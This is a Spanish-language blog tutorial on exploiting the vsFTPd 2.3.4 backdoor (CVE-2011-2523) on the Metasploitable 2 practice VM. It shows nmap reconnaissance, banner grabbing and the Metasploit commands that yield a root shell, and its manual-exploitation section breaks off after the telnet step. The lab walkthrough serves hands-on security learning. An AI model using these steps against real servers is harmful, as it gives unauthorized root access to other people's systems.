H1RD SECURITY

Metasploitable 2, Atacando el puerto 21 VSFTPD 2.3.4

Metasploitable 2, es una maquina virtual vulnerable creada por la empresa Rapid7 (la de Metasploit), para que la gente que esta empezando con el hacking pueda aprender tranquilamente. En este articulo explotaremos con Metasploit una vulnerabilidad que habia en un servidor de FTP, el VSFTP,que durante un corto periodo de tiempo tuvo una puerta trasera o backdoor.

Para descargarte Metasploitable 2

Fase reconocimiento

Lo primero que necesitamos hacer es saber que puertos estan abiertos en la maquina de Metasploitable, esto lo podemos saber usando NMAP

1
 nmap -sS -p- -T5 192.168.1.41

En los parametros de NMAP le he dicho que me diga todos puertos que tiene abiertos la maquina 192.168.1.41 y a maxima velocidad, si necesitas ayuda con NMAP puedes ver los articulos de este blog sobre NMAP

El resultado es el siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
Nmap scan report for 192.168.1.41
Host is up (0.00037s latency).
Not shown: 65501 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
4239/tcp filtered vrml-multi-use
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6697/tcp open ircs-u
8009/tcp open ajp13
8180/tcp open unknown
8787/tcp open msgsrvr
27242/tcp filtered unknown
34652/tcp open unknown
35474/tcp filtered unknown
41271/tcp open unknown
41542/tcp open unknown
42726/tcp open unknown
54399/tcp filtered unknown
MAC Address: 00:0C:29:D3:5F:CD (VMware)

Nmap done: 1 IP address (1 host up) scanned in 185.82 seconds

Con el resultado que nos da Nmap, ya sabemos que el puerto 21 esta abierto, asi que empezaremos con el. ahora para saber que programa hay funcionando como servidor ftp tenemos tres maneras:

  • Manera manual, mediante telnet vemos que programa esta detras del puerto 21.
1
telnet 192.168.1.42 21

El resultado sera el siguiente:

1
2
3
4
Trying 192.168.1.41...
Connected to 192.168.1.41.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
  • Manera automatica, mediante el parametro sV de Nmap
1
nmap -sT -sV -p 21 -T5 192.168.1.41

NMAP nos devuelve lo siguiente:

1
2
3
4
5
6
7
8
9
10
Nmap scan report for 192.168.1.41
Host is up (0.00047s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
MAC Address: 00:0C:29:D3:5F:CD (VMware)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.81 seconds
  • La ultima opcion es usar los scripts de Nmap para poder saber lo maximo sobre este puerto
1
nmap -sT --script ftp* -p 21 -T5 192.168.1.41

NMAP nos devuelve lo siguiente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Nmap scan report for 192.168.1.41
Host is up (0.00031s latency).

PORT STATE SERVICE
21/tcp open ftp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-brute:
| Accounts:
| user:user - Valid credentials
|_ Statistics: Performed 1093 guesses in 182 seconds, average tps: 5.8
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
| IDs: OSVDB:73573 CVE:CVE-2011-2523
| vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
| Disclosure date: 2011-07-03
| Exploit results:
| Shell command: id
| Results: uid=0(root) gid=0(root)
| References:
| http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
| http://osvdb.org/73573
|_ https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
MAC Address: 00:0C:29:D3:5F:CD (VMware)

De esta manera, Nmap nos dice no solo la version vsFTPd 2.3.4 sino que es explotable, y la vulnerabilidad CVE-2011-2523.

Fase Explotación

Ahora a empezar lo divPantalla de inicio de Metasploitertido, para la fase de explotación usare Metasploit, ya que el uso para esta vulnerabilidad en particular es muy facil.

Desde metasploit buscamos todo lo relacionado con vsFTPd, a ver que hay:

1
search vsftpd

El resultado de la busqueda nos devuelve que tenemos un exploit para la version 2.3.4 justamente la version que esta corriendo nuestro servidor FTP, asi que vamos a usarla:

1
use exploit/unix/ftp/vsftpd_234_backdoor 

Ahora ya solo falta poner la ip de la maquina objetivo, mediante Set RHOST 192.168.1.41 y darle al comando run, y TACHAN!! ya tenemos acceso a la maquina objetivo, con privilegios de root.

Acceso root a la maquina objetivo después de usar el exploit
Acceso root a la maquina objetivo después de usar el exploit

Curiosidad….

Lo primero que hice al ejecutar la maquina virtual de Mestasploitable 2, fue lanzar un scan de Nessus y me salieron ciertas vulnerabilidades, lo deje apartado, y hoy mientras escribia empece a recordar que el resultado del scan en ningun momento hablo de este backdoor en vsftpd, puede que sea un error mio de configuración o uso de Nessus o que directamente Nessus lo haya pasado por alto, en cualquier caso o Nessus no es solo install y click, o Tampoco se puede dejar a Nessus el peso de toda una auditoria. Simplemente me parece curioso una vulnerabilidad del 2011 donde se puede conseguir acceso root, no aparezca en el listado de vulnerabilidades criticas, altas o medias.

Los resultados que da Nessus donde no aparece la vulnerabilidad de vsftpd
Los resultados que da Nessus donde no aparece la vulnerabilidad de vsftpd

Esto es debido a que hay que modificar la politica de configuración por defecto de Nessus, espero explicar esta modificación más adelante.

Explotación manual

Esta vulnerabilidad es un backdoor que se introdujo deliveradamente en el codigo fuente de la aplicación, por lo que lo sus creadores introdujeron una manera manual para entrar, esta funciona de la siguiente manera:

  • Nos conectamos al puerto 21 con telnet
1
telnet 192.168.1.41 21
  • Injection (7)
  • Hacker (39)
  • Owasp (17)
  • Intro (10)
  • Hijacking (5)
  • Protocolos (6)
  • Http (5)
  • Telnet (1)
  • Xss (5)
  • Fiddler (2)
  • Programacion (2)
  • Lua (2)
  • Pentesting (16)
  • Nmap (9)
  • Firewall (1)
  • Ids (1)
  • Recon-ng (3)
  • Protocolos (3)
  • Articulos (1)
  • Metasploit (5)
  • Metasploitable2 (5)
  • Hydra (1)